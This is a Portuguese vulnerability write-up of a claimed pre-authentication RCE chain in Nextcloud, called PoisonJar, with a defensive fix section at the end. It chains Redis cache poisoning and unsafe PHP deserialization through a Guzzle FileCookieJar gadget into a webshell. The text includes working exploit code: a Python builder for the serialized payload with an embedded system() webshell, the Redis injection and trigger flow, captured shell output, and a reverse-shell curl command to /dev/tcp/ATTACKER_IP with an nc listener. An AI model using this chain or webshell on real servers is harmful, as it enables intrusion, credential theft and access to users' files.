Ataque ao Vivo — Outro Dispositivo na Mesma Rede (Bridge)
Antes da teoria, veja o ataque acontecer. Um segundo dispositivo em modo bridge na mesma
rede local executa toda a cadeia de ponta a ponta — cache poisoning no
Redis → webshell em ocs-provider/ → reverse shell — exatamente o cenário
02-lan-attack do repositório. Sem login, sem interação da vítima: uma demonstração
direta de como o acesso ao cache vira RCE como www-data.
Reproduzido em laboratório Docker isolado, rede bridge — apenas para fins educacionais.
O PoisonJar é uma cadeia de RCE pré-autenticação no
Nextcloud Server 33.0.x. Uma chamada unserialize() sem
allowed_classes na camada de cache do TaskProcessing
(Manager.php:874) processa dados vindos do Redis/Memcached sem qualquer validação.
Quem consegue escrever no cache (cenário comum em Docker, Kubernetes e VPCs) injeta um objeto
GuzzleHttp\Cookie\FileCookieJar — gadget já presente no 3rdparty/ do
próprio Nextcloud — cujo __destruct() chama file_put_contents() com
caminho e conteúdo controlados. Resultado: um webshell PHP gravado em
ocs-provider/ (que escapa do rewrite do .htaccess) e executado como
www-data. O gatilho é um endpoint #[PublicPage] — uma única
requisição HTTP sem autenticação dispara toda a cadeia.
Este artigo é exclusivamente educacional e baseado em pesquisa de segurança autorizada, com reprodução em laboratório Docker isolado. Todo o conteúdo destina-se a defesa, treinamento de equipes e desenvolvimento de detecções. Não utilize contra sistemas de terceiros sem autorização explícita por escrito.
📚 Série PoisonJar
Esta é a análise técnica fundamental: a anatomia da vulnerabilidade, a cadeia de exploração e um PoC funcional. O foco é entender cada peça — o sink, o gatilho, o gadget e o bypass — e por que isso se encadeia de forma trivial em ambientes self-hosted e Kubernetes.
A divulgação seguiu o caminho da divulgação coordenada (CVD) via HackerOne. O report foi fechado como Informative no mesmo dia, teve a severidade derrubada de 9.8 para 2.2 sem justificativa, e meus pedidos de reabertura e divulgação ficaram sem resposta. Embora a política da HackerOne já me desse o direito de divulgar após 30 dias, esperei mais de 70 dias — mais do que o dobro do prazo — no espírito da divulgação responsável. Sem qualquer resolução à vista, publico a análise eu mesmo: o bug ainda funciona nas versões mais atuais do Nextcloud e o silêncio do fornecedor permanece até hoje.
Contexto: Nextcloud, TaskProcessing e Redis
O Nextcloud é a plataforma de colaboração e armazenamento self-hosted mais popular do mundo — documentos, fotos, contatos, calendários e arquivos compartilhados de milhões de usuários vivem dentro dele. A maioria das instâncias roda via Docker ou Kubernetes, justamente os ambientes onde esta cadeia brilha.
O subsistema TaskProcessing orquestra tarefas de IA/ML (geração de texto,
tradução, etc.). Para evitar recomputar a lista de tipos de tarefa a cada requisição, ele
guarda essa lista em cache distribuído — serializada com
serialize() e lida de volta com unserialize(). Em produção, esse
cache distribuído é tipicamente o Redis ou o Memcached.
Por que isso importa: o Redis como backend de cache e file locking é a
configuração oficialmente recomendada pelo Nextcloud para produção. E, na
prática, a maioria dos deploys Docker/Kubernetes sobe o Redis sem senha,
confiando apenas no isolamento de rede. O resultado é um banco de dados em memória,
compartilhado e frequentemente sem autenticação, alimentando diretamente um
unserialize().
Quando o TaskProcessing Entrou — e Por Que Isso Amplia a Superfície
O framework TaskProcessing foi introduzido no Nextcloud 30.0.0
(setembro de 2024), unificando as APIs anteriores de TextProcessing,
TextToImage e Speech-To-Text em um único ponto central
(OCP\TaskProcessing). O detalhe que torna o PoisonJar tão acessível é a
combinação de eras: a lógica de cache vulnerável vive no código novo
(o Manager do TaskProcessing, 30+), mas o gatilho público é o endpoint
legado de TextProcessing, que continua roteado e marcado como #[PublicPage].
Uma superfície antiga e sem autenticação alimentando um subsistema novo.
Por Que o Redis Quase Sempre Está Sem Senha (um "bug" que virou cultura)
Não é descuido aleatório dos administradores — é história documentada. Por anos, rodar o Redis com senha na imagem Docker oficial do Nextcloud simplesmente não funcionava direito:
- Issue #1179 (jul/2020): quando
nenhuma senha era definida,
getenv()retornavafalse, mas o entrypoint tentava autenticar mesmo assim, quebrando a conexão. Só foi corrigido no PR #1232. - Issue #1608 (out/2021): os próprios
exemplos de
docker-composeoficiais não tratavam a senha do Redis, deixando a configuração sem autenticação como caminho padrão.
O erro que assombrava quem tentava habilitar senha era este — e a resposta mais comum nos fóruns era, ironicamente, "remova a senha":
ERR AUTH <password> called without any password configured for the default user
at /var/www/html/lib/private/RedisFactory.php:94
O efeito colateral: diante de um bug que travava a instância ao configurar senha, a "solução" que circulava era simplesmente remover a senha. Anos de fricção transformaram "Redis sem autenticação" no estado natural de incontáveis deploys — exatamente o pré-requisito do PoisonJar.
Anatomia da Vulnerabilidade (CWE-502)
O Que é Deserialização Insegura?
A função unserialize() do PHP reconstrói objetos a partir de uma string. Quando
chamada sem a opção allowed_classes, ela instancia
qualquer classe disponível no autoloader da aplicação. Isso é perigoso porque objetos
PHP possuem magic methods — métodos que o motor executa automaticamente
durante o ciclo de vida do objeto:
__wakeup()— chamado imediatamente quando o objeto é desserializado__destruct()— chamado quando o objeto é coletado pelo garbage collector (sai de escopo)__toString()— chamado quando o objeto é usado como string
Um atacante que controla os dados serializados pode forjar um objeto cujos magic methods executem operações perigosas. Essa técnica é chamada de POP chain (Property-Oriented Programming): em vez de injetar código novo, o atacante encadeia classes que já existem na aplicação para alcançar o efeito desejado.
Como o PHP Serializa um Objeto (e Por Que Isso é Forjável)
Para forjar um objeto malicioso, o atacante não precisa de nenhuma mágica — o formato de
serialize() é texto plano, documentado e determinístico. Cada
valor é prefixado por um marcador de tipo:
| Marcador | Significado | Exemplo |
|---|---|---|
s:N:"…" |
String de N bytes | s:5:"proof" |
i:N; |
Inteiro | i:9999999999; |
b:0|1; |
Booleano | b:0; |
a:N:{…} |
Array com N pares | a:1:{i:0;…} |
N; |
Null | N; |
O:N:"Classe":C:{…} |
Objeto (classe de N bytes, C propriedades) | O:31:"…FileCookieJar":4:{…} |
O único "truque" está na visibilidade das propriedades. O PHP codifica o escopo no próprio nome,
usando o byte nulo (\x00) como separador:
- Pública:
nome— sem prefixo - Protegida:
\x00*\x00nome— prefixo* - Privada:
\x00NomeDaClasse\x00nome— prefixo com a classe que a declara
É exatamente por isso que o payload do PoisonJar carrega aquelas strings com \x00:
cookies é privada de CookieJar, enquanto filename e
storeSessionCookies são privadas de FileCookieJar. Como o formato é
totalmente previsível, um atacante remoto monta o objeto byte a byte — sem
nunca tocar no servidor.
1. O Sink — unserialize() sem
allowed_classes
Arquivo: lib/private/TaskProcessing/Manager.php. O valor vem direto do cache
distribuído (Redis/Memcached). Não há validação, assinatura ou HMAC — a aplicação confia
cegamente em qualquer coisa que esteja no cache.
// lib/private/TaskProcessing/Manager.php
// Linha 874 — a chamada vulnerável
$this->availableTaskTypes = unserialize($cachedValue);
// ^^^^^^^^^^^
// Sem segundo argumento = sem restrição de classe.
// Qualquer objeto serializado vira um objeto PHP "vivo".
// Linha 919 — onde o dado é gravado no cache (fluxo legítimo)
$this->distributedCache->set($cacheKey, serialize($this->availableTaskTypes), 60);
// lib/private/TaskProcessing/Manager.php
// Line 874 — the vulnerable call
$this->availableTaskTypes = unserialize($cachedValue);
// ^^^^^^^^^^^
// No second argument = no class restriction.
// Any serialized object becomes a "live" PHP object.
// Line 919 — where the data is written to the cache (legitimate flow)
$this->distributedCache->set($cacheKey, serialize($this->availableTaskTypes), 60);
O caminho até o sink é curto e sem ramificações: o endpoint público chama
getAvailableTaskTypes(), que monta a chave de cache, lê o valor do cache
distribuído e o entrega — cru — ao unserialize():
// lib/private/TaskProcessing/Manager.php (fluxo resumido)
// O cache distribuído já carrega o prefixo "<instanceId>/task_processing::"
$cacheKey = 'available_task_types_v3:' . $lang;
$cachedValue = $this->distributedCache->get($cacheKey); // ← valor vindo do Redis
if ($cachedValue !== null) {
$this->availableTaskTypes = unserialize($cachedValue); // ← linha 874: o SINK
return $this->availableTaskTypes;
}
// caminho lento: recomputa os tipos e regrava no cache (serialize) na linha 919
// lib/private/TaskProcessing/Manager.php (condensed flow)
// The distributed cache already carries the prefix "<instanceId>/task_processing::"
$cacheKey = 'available_task_types_v3:' . $lang;
$cachedValue = $this->distributedCache->get($cacheKey); // ← value coming from Redis
if ($cachedValue !== null) {
$this->availableTaskTypes = unserialize($cachedValue); // ← line 874: the SINK
return $this->availableTaskTypes;
}
// slow path: recompute the types and re-store them in the cache (serialize) at line 919
O erro de fronteira de confiança: o código trata o Redis como se fosse
memória interna confiável. Mas o cache é um sistema externo,
compartilhado e (como vimos) frequentemente sem autenticação. No instante em que os dados
atravessam essa fronteira, eles viram entrada não confiável — e
unserialize() sobre entrada não confiável é, por definição, CWE-502.
2. O Gatilho — Endpoint #[PublicPage]
Arquivo: core/Controller/TextProcessingApiController.php. O atributo
#[PublicPage] instrui o SecurityMiddleware do Nextcloud a pular
todas as checagens de autenticação. Qualquer pessoa na internet pode chamar
este endpoint.
// core/Controller/TextProcessingApiController.php
#[PublicPage] // ← Sem autenticação. Sem sessão. Sem CSRF. Nada.
#[ApiRoute(verb: 'GET', url: '/tasktypes', root: '/textprocessing')]
public function taskTypes(): DataResponse {
$typeClasses = $this->textProcessingManager->getAvailableTaskTypes();
// ... que eventualmente chama unserialize($cachedValue) na linha 874
}
// core/Controller/TextProcessingApiController.php
#[PublicPage] // ← No auth. No session. No CSRF. Nothing.
#[ApiRoute(verb: 'GET', url: '/tasktypes', root: '/textprocessing')]
public function taskTypes(): DataResponse {
$typeClasses = $this->textProcessingManager->getAvailableTaskTypes();
// ... which eventually calls unserialize($cachedValue) at line 874
}
Uma única requisição não autenticada dispara toda a leitura do cache e a desserialização:
GET /ocs/v2.php/textprocessing/tasktypes HTTP/1.1
Host: target.nextcloud.com
OCS-APIREQUEST: true
# Sem cookies. Sem senha. Sem token. A requisição sozinha basta.
GET /ocs/v2.php/textprocessing/tasktypes HTTP/1.1
Host: target.nextcloud.com
OCS-APIREQUEST: true
# No cookies. No password. No token. The request alone is enough.
3. O Gadget — FileCookieJar::__destruct()
Arquivo: 3rdparty/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php. Este gadget já
está empacotado no próprio Nextcloud. Quando o objeto FileCookieJar desserializado
sai de escopo, o garbage collector chama __destruct(), que grava um arquivo em
disco. O atacante controla o caminho (filename) e
o conteúdo (o campo Value do cookie).
// 3rdparty/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
public function __destruct()
{
$this->save($this->filename); // $this->filename = controlado pelo atacante
}
public function save(string $filename): void
{
$json = [];
foreach ($this as $cookie) {
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = Utils::jsonEncode($json);
file_put_contents($filename, $jsonStr, LOCK_EX);
// ^^^^^^^^^^^^^^^^
// Grava em QUALQUER caminho gravável, como o usuário do servidor web (www-data).
// O conteúdo inclui o campo "Value" do cookie — controlado pelo atacante.
}
// 3rdparty/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
public function __destruct()
{
$this->save($this->filename); // $this->filename = attacker-controlled
}
public function save(string $filename): void
{
$json = [];
foreach ($this as $cookie) {
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = Utils::jsonEncode($json);
file_put_contents($filename, $jsonStr, LOCK_EX);
// ^^^^^^^^^^^^^^^^
// Writes to ANY writable path, as the web server user (www-data).
// The content includes the cookie's "Value" field — attacker-controlled.
}
O que torna uma classe um gadget viável? Três ingredientes: (1) um magic method
que roda sozinho (__destruct/__wakeup); (2) que use uma propriedade do
objeto em uma operação perigosa (escrita em arquivo, eval, SQL…); e (3)
que essa propriedade seja controlável via deserialização. O
FileCookieJar tem os três: __destruct() → save() →
file_put_contents($this->filename, …), com filename e conteúdo sob
controle do atacante.
Traduzido para o formato serializado, o objeto fica assim — cada linha anotada:
O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{ // objeto, 4 propriedades
s:36:"\x00GuzzleHttp\Cookie\CookieJar\x00cookies"; // privada (herdada de CookieJar)
a:1:{ i:0; O:27:"GuzzleHttp\Cookie\SetCookie":1:{…} } // 1 cookie com o webshell no campo "Value"
s:39:"\x00GuzzleHttp\Cookie\CookieJar\x00strictMode"; b:0;
s:41:"\x00GuzzleHttp\Cookie\FileCookieJar\x00filename"; // ← ONDE escrever
s:38:"/var/www/html/ocs-provider/cmd.php";
s:52:"\x00GuzzleHttp\Cookie\FileCookieJar\x00storeSessionCookies"; b:1; // força a persistência
}
O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{ // object, 4 properties
s:36:"\x00GuzzleHttp\Cookie\CookieJar\x00cookies"; // private (inherited from CookieJar)
a:1:{ i:0; O:27:"GuzzleHttp\Cookie\SetCookie":1:{…} } // 1 cookie with the webshell in the "Value" field
s:39:"\x00GuzzleHttp\Cookie\CookieJar\x00strictMode"; b:0;
s:41:"\x00GuzzleHttp\Cookie\FileCookieJar\x00filename"; // ← WHERE to write
s:38:"/var/www/html/ocs-provider/cmd.php";
s:52:"\x00GuzzleHttp\Cookie\FileCookieJar\x00storeSessionCookies"; b:1; // forces persistence
}
Caça a gadgets: encontrar essas cadeias é um campo próprio — a ferramenta
phpggc mantém um catálogo de POP chains conhecidas para bibliotecas populares
(Guzzle incluso). O diferencial aqui não foi inventar um gadget, e sim perceber que um já
estava empacotado no 3rdparty/ do próprio Nextcloud,
alcançável por um sink sem restrição.
O Timing do __destruct() — por que o 500 não
salva o servidor
Um revisor atento vai perguntar: se o objeto é atribuído a
$this->availableTaskTypes, ele não "sai de escopo" no fim da função — então por que
o __destruct() dispara? Porque o PHP libera memória por contagem de
referências (refcount), e o destructor roda em um de dois momentos: quando o
refcount chega a zero, ou no shutdown da requisição, quando o
engine destrói todos os objetos que ainda restam. A atribuição apenas adia o
destructor para o fim da requisição — não o cancela.
// lib/private/TaskProcessing/Manager.php — o que acontece em UMA requisição
$this->availableTaskTypes = unserialize($cachedValue); // 1. cria o FileCookieJar (objeto vivo)
// ^ atribuído à propriedade => refcount = 1, NÃO destruído ainda
return $this->availableTaskTypes; // 2. devolve um objeto onde se esperava um array
// ... o chamador trata como array => TypeError => HTTP 500 ENVIADO ao atacante
// 3. fim da requisição => PHP entra em SHUTDOWN
// o engine destrói todos os objetos vivos e chama __destruct() de cada um
// Manager liberado => availableTaskTypes perde a referência => refcount = 0
// 4. FileCookieJar::__destruct() => save() => file_put_contents($filename, ...)
// => /var/www/html/ocs-provider/cmd.php GRAVADO (depois do 500)
// 5. próxima requisição: GET /ocs-provider/cmd.php?c=id => uid=33(www-data)
// lib/private/TaskProcessing/Manager.php — what happens within ONE request
$this->availableTaskTypes = unserialize($cachedValue); // 1. creates the FileCookieJar (live object)
// ^ assigned to the property => refcount = 1, NOT destroyed yet
return $this->availableTaskTypes; // 2. returns an object where an array was expected
// ... the caller treats it as an array => TypeError => HTTP 500 SENT to the attacker
// 3. end of request => PHP enters SHUTDOWN
// the engine destroys every live object and calls each one's __destruct()
// Manager freed => availableTaskTypes loses its reference => refcount = 0
// 4. FileCookieJar::__destruct() => save() => file_put_contents($filename, ...)
// => /var/www/html/ocs-provider/cmd.php WRITTEN (after the 500)
// 5. next request: GET /ocs-provider/cmd.php?c=id => uid=33(www-data)
Dois detalhes blindam o timing: (1) um erro fatal — o TypeError que
gera o 500 — encerra a execução do script, mas não impede os destructors do
shutdown; e (2) não há dependência do GC cíclico do PHP — é refcounting puro. O
webshell é gravado depois que o 500 já voltou ao atacante; na requisição
seguinte, ele executa.
4. O Alvo da Escrita — ocs-provider/ escapa
do .htaccess
O .htaccess do Nextcloud reescreve todas as requisições para
index.php, impedindo acesso direto a arquivos PHP arbitrários. Porém, o diretório
ocs-provider/ é explicitamente excluído do rewrite:
# .htaccess — ocs-provider/ é excluído do rewrite
RewriteCond %{REQUEST_FILENAME} !/(ocs-provider|updater)/
# .htaccess — ocs-provider/ is excluded from the rewrite
RewriteCond %{REQUEST_FILENAME} !/(ocs-provider|updater)/
Ou seja: um arquivo PHP gravado em /var/www/html/ocs-provider/cmd.php é servido
diretamente pelo Apache e executado, sem passar pelo roteador nem pela
autenticação do Nextcloud.
Não é inédito: o CVE-2024-31989 (Argo CD) explorou exatamente a mesma ideia — cache poisoning no Redis levando à manipulação do estado da aplicação. Sempre que um cache compartilhado alimenta um deserializador, o Redis deixa de ser "só performance" e vira superfície de execução de código.
A Cadeia Completa de Ataque
cache_key
= payload serializado
#[PublicPage]
ocs-provider/cmd.php
— escapa do .htaccess
/ocs-provider/cmd.php?c=id
uid=33(www-data)
— execução de comandos
A Chave de Cache é Previsível
A chave segue um padrão fixo:
<instanceId>/task_processing::available_task_types_v3:<language>. O
instanceId é uma string hexadecimal de 32 caracteres visível nos cookies
e no HTML da instância. Ou seja, o atacante sabe exatamente em qual chave injetar
o payload.
| Passo | Ação | Detalhe |
|---|---|---|
| ① | Cache poisoning | Atacante faz SET no Redis com
um objeto FileCookieJar serializado na chave previsível |
| ② | Leitura + deserialização | Nextcloud lê a chave e passa o valor
direto para unserialize(), criando um objeto vivo |
| ③ | Gatilho (zero auth) | Um GET ao endpoint público
dispara a cadeia; retorna HTTP 500, mas o objeto já foi criado |
| ④ | Execução | __destruct() grava o webshell
em ocs-provider/; o atacante o acessa e executa comandos como
www-data |
Detalhe elegante (e o timing): o endpoint retorna HTTP 500
porque o objeto desserializado não é o array esperado. Mas o objeto foi atribuído a
$this->availableTaskTypes — fica vivo até o fim da requisição.
No shutdown do PHP, o engine destrói todos os objetos restantes e chama o
__destruct() de cada um (refcounting puro, sem depender do GC cíclico). É aí que o
FileCookieJar grava o webshell — depois que o 500 já foi enviado.
Um erro fatal encerra o script, mas não cancela os destructors do shutdown.
Prova de Conceito Funcional
O exploit completo (exploit.py sem dependências) e o
laboratório Docker (com os dois cenários e o relatório técnico, PT/EN) estão
disponíveis no repositório no GitHub. Aqui o foco é entender o bug:
como o objeto é forjado e por que ele dispara a escrita do webshell.
Construindo o Gadget (o coração do exploit)
A função abaixo monta a string serializada de um FileCookieJar. Note as
propriedades private/protected com o prefixo \x00 (NUL) que o PHP
usa internamente. O webshell vai dentro do campo Value do cookie; o
filename aponta para ocs-provider/cmd.php.
def build_payload(target_path):
NUL = "\x00"
# Webshell: system($_GET[chr(99)]) — chr(99)='c', evita aspas dentro do JSON
shell = '<' + '?php system($_GET[chr(99)]); ?' + '>'
cookie_data = (
'a:9:{'
's:4:"Name";s:5:"proof";'
f's:5:"Value";s:{len(shell)}:"{shell}";'
's:6:"Domain";s:11:"example.com";'
's:4:"Path";s:1:"/";'
's:7:"Max-Age";N;'
's:7:"Expires";i:9999999999;'
's:6:"Secure";b:0;'
's:7:"Discard";b:0;'
's:8:"HttpOnly";b:0;'
'}'
)
set_cookie = (
f'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:{{'
f's:33:"{NUL}GuzzleHttp\\Cookie\\SetCookie{NUL}data";'
f'{cookie_data}'
f'}}'
)
jar = (
f'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:{{'
f's:36:"{NUL}GuzzleHttp\\Cookie\\CookieJar{NUL}cookies";a:1:{{i:0;{set_cookie}}}'
f's:39:"{NUL}GuzzleHttp\\Cookie\\CookieJar{NUL}strictMode";b:0;'
f's:41:"{NUL}GuzzleHttp\\Cookie\\FileCookieJar{NUL}filename";'
f's:{len(target_path)}:"{target_path}";'
f's:52:"{NUL}GuzzleHttp\\Cookie\\FileCookieJar{NUL}storeSessionCookies";b:1;'
f'}}'
)
return json.dumps(jar)
def build_payload(target_path):
NUL = "\x00"
# Webshell: system($_GET[chr(99)]) — chr(99)='c', avoids quotes inside the JSON
shell = '<' + '?php system($_GET[chr(99)]); ?' + '>'
cookie_data = (
'a:9:{'
's:4:"Name";s:5:"proof";'
f's:5:"Value";s:{len(shell)}:"{shell}";'
's:6:"Domain";s:11:"example.com";'
's:4:"Path";s:1:"/";'
's:7:"Max-Age";N;'
's:7:"Expires";i:9999999999;'
's:6:"Secure";b:0;'
's:7:"Discard";b:0;'
's:8:"HttpOnly";b:0;'
'}'
)
set_cookie = (
f'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:{{'
f's:33:"{NUL}GuzzleHttp\\Cookie\\SetCookie{NUL}data";'
f'{cookie_data}'
f'}}'
)
jar = (
f'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:{{'
f's:36:"{NUL}GuzzleHttp\\Cookie\\CookieJar{NUL}cookies";a:1:{{i:0;{set_cookie}}}'
f's:39:"{NUL}GuzzleHttp\\Cookie\\CookieJar{NUL}strictMode";b:0;'
f's:41:"{NUL}GuzzleHttp\\Cookie\\FileCookieJar{NUL}filename";'
f's:{len(target_path)}:"{target_path}";'
f's:52:"{NUL}GuzzleHttp\\Cookie\\FileCookieJar{NUL}storeSessionCookies";b:1;'
f'}}'
)
return json.dumps(jar)
O Fluxo do Exploit
O exploit.py não precisa de dependências externas: fala TCP cru com o Redis e usa
urllib para o HTTP. O fluxo é direto — confirmar o alvo, descobrir a chave de
cache, injetar o payload e disparar o gatilho:
# 1. Conecta ao Redis (sem auth) e descobre a chave de cache
all_keys = redis_cmd(rs, "KEYS", "*")
for line in all_keys.split("\n"):
if "task_processing::available_task_types" in line.strip():
cache_key = line.strip()
break
# fallback: deriva a chave a partir do instanceId visível em outras chaves
# 2. Constrói e injeta o webshell no cache
payload = build_payload("/var/www/html/ocs-provider/cmd.php")
redis_cmd(rs, "SET", cache_key, payload)
redis_cmd(rs, "EXPIRE", cache_key, "300")
# 3. Dispara a deserialização — ZERO AUTH
http_get(f"{NC_URL}/ocs/v2.php/textprocessing/tasktypes?format=json",
{"OCS-APIREQUEST": "true"})
# 4. Verifica o RCE
code, body = http_get(f"{SHELL_URL}?c=id")
if code == 200 and "uid=" in body:
print("REMOTE CODE EXECUTION CONFIRMED")
# 1. Connect to Redis (no auth) and discover the cache key
all_keys = redis_cmd(rs, "KEYS", "*")
for line in all_keys.split("\n"):
if "task_processing::available_task_types" in line.strip():
cache_key = line.strip()
break
# fallback: derive the key from the instanceId visible in other keys
# 2. Build and inject the webshell into the cache
payload = build_payload("/var/www/html/ocs-provider/cmd.php")
redis_cmd(rs, "SET", cache_key, payload)
redis_cmd(rs, "EXPIRE", cache_key, "300")
# 3. Trigger the deserialization — ZERO AUTH
http_get(f"{NC_URL}/ocs/v2.php/textprocessing/tasktypes?format=json",
{"OCS-APIREQUEST": "true"})
# 4. Verify the RCE
code, body = http_get(f"{SHELL_URL}?c=id")
if code == 200 and "uid=" in body:
print("REMOTE CODE EXECUTION CONFIRMED")
Os trechos acima são recortes didáticos. O exploit.py
completo (com descoberta de chave, tratamento de erros e parser de saída do webshell) e o
docker-compose.yml do laboratório estão disponíveis no repositório do
GitHub, para reprodução em ambiente controlado.
Resultado
════════════════════════════════════════════
REMOTE CODE EXECUTION CONFIRMED
════════════════════════════════════════════
[+] Webshell: http://target/ocs-provider/cmd.php?c=<command>
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ uname -a
Linux 9e3a8222c01e 6.17.0-19-generic ... x86_64 GNU/Linux
$ whoami
www-data
Do Webshell ao Reverse Shell
# Listener do atacante
nc -lnvp 4444
# Dispara via webshell (caracteres especiais URL-encoded)
curl "http://target/ocs-provider/cmd.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'"
# Resultado:
# Connection received on 172.19.0.4 51190
# www-data@9e3a8222c01e:/var/www/html/ocs-provider$ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Attacker listener
nc -lnvp 4444
# Fire via the webshell (special characters URL-encoded)
curl "http://target/ocs-provider/cmd.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'"
# Result:
# Connection received on 172.19.0.4 51190
# www-data@9e3a8222c01e:/var/www/html/ocs-provider$ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Por Que Isso é Perigoso
Com execução de comandos como www-data, o atacante tem acesso total ao Nextcloud e
a tudo que ele toca:
| Impacto | Descrição |
|---|---|
| Remote Code Execution | Execução completa de comandos como www-data |
| Roubo de Dados | Ler TODOS os arquivos dos usuários: documentos, fotos, contatos, calendários |
| Roubo de Credenciais | config/config.php contém senha
do banco, instance secret e credenciais SMTP |
| Acesso ao Banco | Com as credenciais do config, dump completo de contas, hashes e tokens |
| Movimento Lateral | Pivotar para outros serviços internos (DB, LDAP, SMTP, outras apps) |
| Persistência | Backdoors em arquivos PHP do core que sobrevivem a updates |
| Destruição / Ransomware | Apagar arquivos, corromper o banco, criptografar dados dos usuários |
REDIS_HOST_PASSWORD
#[PublicPage], sem login
Cenários de Ataque: Self-Hosted e Kubernetes
O pré-requisito é "acesso de rede ao Redis". Isso parece restritivo, mas nos ambientes onde o Nextcloud realmente roda, é quase sempre verdade. Em ordem de probabilidade:
🔴 Kubernetes / Docker (probabilidade ALTA)
Pod/container comprometido no mesmo namespace/rede
→ Service do Redis (sem NetworkPolicy = acesso irrestrito)
→ cache poisoning → RCE
Compromised pod/container in the same namespace/network
→ Redis Service (no NetworkPolicy = unrestricted access)
→ cache poisoning → RCE
Por padrão, o Kubernetes não aplica NetworkPolicies. Qualquer pod no mesmo namespace alcança qualquer service. Uma vulnerabilidade em qualquer outra aplicação do cluster vira um caminho direto até o Redis do Nextcloud.
🔴 Cloud VPC (probabilidade ALTA)
SSRF em qualquer outra aplicação na mesma VPC
→ ElastiCache/Azure Cache/Memorystore (sem auth, IP privado)
→ cache poisoning → RCE
SSRF in any other application in the same VPC
→ ElastiCache/Azure Cache/Memorystore (no auth, private IP)
→ cache poisoning → RCE
Serviços de Redis gerenciados (AWS ElastiCache, Azure Cache, GCP Memorystore) rodam em IPs privados dentro da VPC e geralmente sem autenticação, confiando no isolamento de rede. Um SSRF em qualquer app da VPC fura esse isolamento.
🟡 Rede compartilhada (probabilidade MÉDIA)
Atacante no mesmo segmento de rede
→ Redis acessível sem auth (bind 0.0.0.0 ou interface de rede local)
→ cache poisoning → RCE
Attacker on the same network segment
→ Redis reachable without auth (bind 0.0.0.0 or a local network interface)
→ cache poisoning → RCE
🟢 Redis exposto (probabilidade BAIXA, mas real)
Redis exposto na internet (porta 6379, sem auth)
→ cache poisoning direto → RCE
Redis exposed on the internet (port 6379, no auth)
→ direct cache poisoning → RCE
Segundo a Wiz Research (2025), cerca de 60.000 instâncias Redis estão expostas na internet sem autenticação. Nem todas servem Nextcloud — mas a sobreposição não é zero.
A Barreira do Redis: Por Que "Está na Rede Privada" Não é Proteção
Toda a cadeia do PoisonJar depende de uma única capacidade: escrever uma chave no Redis. E a defesa quase sempre se apoia em uma só frase — "o Redis está numa rede privada, ninguém de fora alcança". Os cenários acima têm um fio comum: na prática, essa barreira é uma ficção. O detalhe mais repetido — o Redis sem senha — é apenas o último degrau, não a causa.
Redis compartilhado é a norma, não a exceção
Redis dedicado a uma única aplicação é raro. Por economia e praticidade, tanto os serviços gerenciados (AWS ElastiCache, Azure Cache, GCP Memorystore) quanto os clusters self-hosted costumam ser compartilhados entre vários serviços. Um mesmo Redis normalmente carrega:
- Cache de várias apps — Nextcloud, um CRM e um portal interno, todos no mesmo cluster.
- Sessões, filas e rate-limit de microsserviços distintos, mantidos por times distintos.
- Um cache de plataforma multi-tenant, onde "isolamento" é só um prefixo de chave — não uma fronteira real.
Quanto mais compartilhado, maior o número de workloads que legitimamente conversam com aquele Redis. E basta um deles cair para que a chave do TaskProcessing do Nextcloud seja sobrescrita.
O pod comprometido: o atacante nunca toca o Nextcloud
Esse é o ponto que mais assusta: o atacante não precisa de nenhuma falha no
Nextcloud. Em Kubernetes, a rede de pods é plana por padrão — sem
NetworkPolicy, qualquer pod fala com qualquer service. Basta comprometer
qualquer workload com rota até o Redis: uma dependência vulnerável, um SSRF, um token de
service account vazado, uma imagem de contêiner adulterada. Vazou em algum ponto da
malha → alcançou o Redis → envenenou o cache → RCE no Nextcloud. O Nextcloud é a vítima
final, nunca o ponto de entrada.
A senha não é a barreira que você imagina
"Então é só configurar requirepass no Redis?" Ajuda — mas não é a fronteira sólida
que aparenta. Todo pod que usa o Redis carrega a credencial: variável de
ambiente, secret montado ou arquivo de config. Comprometa o pod certo e a senha vem junto. A
misconfig "sem senha" apenas poupa um passo — o de ler a credencial de um
vizinho. A causa-raiz é a mesma: um cache compartilhado alimentando um
unserialize() sem allowed_classes.
A senha protege o Redis de quem está totalmente fora — não de quem já está na malha. E "alguém na malha" é justamente o estado normal de qualquer ambiente Docker, Kubernetes ou VPC.
A lição: no instante em que um cache compartilhado alimenta um deserializador, o Redis deixa de ser "só performance" e vira superfície de execução de código — o mesmo padrão do CVE-2024-31989 (Argo CD). O raio de explosão não é o Nextcloud: é toda a malha que alcança aquele Redis. É por isso que as defesas a seguir assumem que a rede já pode estar comprometida.
Detecção, Defesa e Correção
A Correção (trivial)
O sink pode ser corrigido com uma linha. A solução recomendada vai além e elimina a classe de ataque inteira usando JSON em vez de serialização PHP:
// lib/private/TaskProcessing/Manager.php
// Correção imediata (1 linha) — restringe as classes permitidas
- $this->availableTaskTypes = unserialize($cachedValue);
+ $this->availableTaskTypes = unserialize($cachedValue, ['allowed_classes' => false]);
// Correção recomendada — elimina a classe de ataque (PHP object injection impossível)
- $this->availableTaskTypes = unserialize($cachedValue);
+ $this->availableTaskTypes = json_decode($cachedValue, true);
// (e na linha 919, trocar serialize() por json_encode())
// lib/private/TaskProcessing/Manager.php
// Immediate fix (1 line) — restricts the allowed classes
- $this->availableTaskTypes = unserialize($cachedValue);
+ $this->availableTaskTypes = unserialize($cachedValue, ['allowed_classes' => false]);
// Recommended fix — eliminates the attack class (PHP object injection impossible)
- $this->availableTaskTypes = unserialize($cachedValue);
+ $this->availableTaskTypes = json_decode($cachedValue, true);
// (and at line 919, swap serialize() for json_encode())
Endurecimento de Infraestrutura
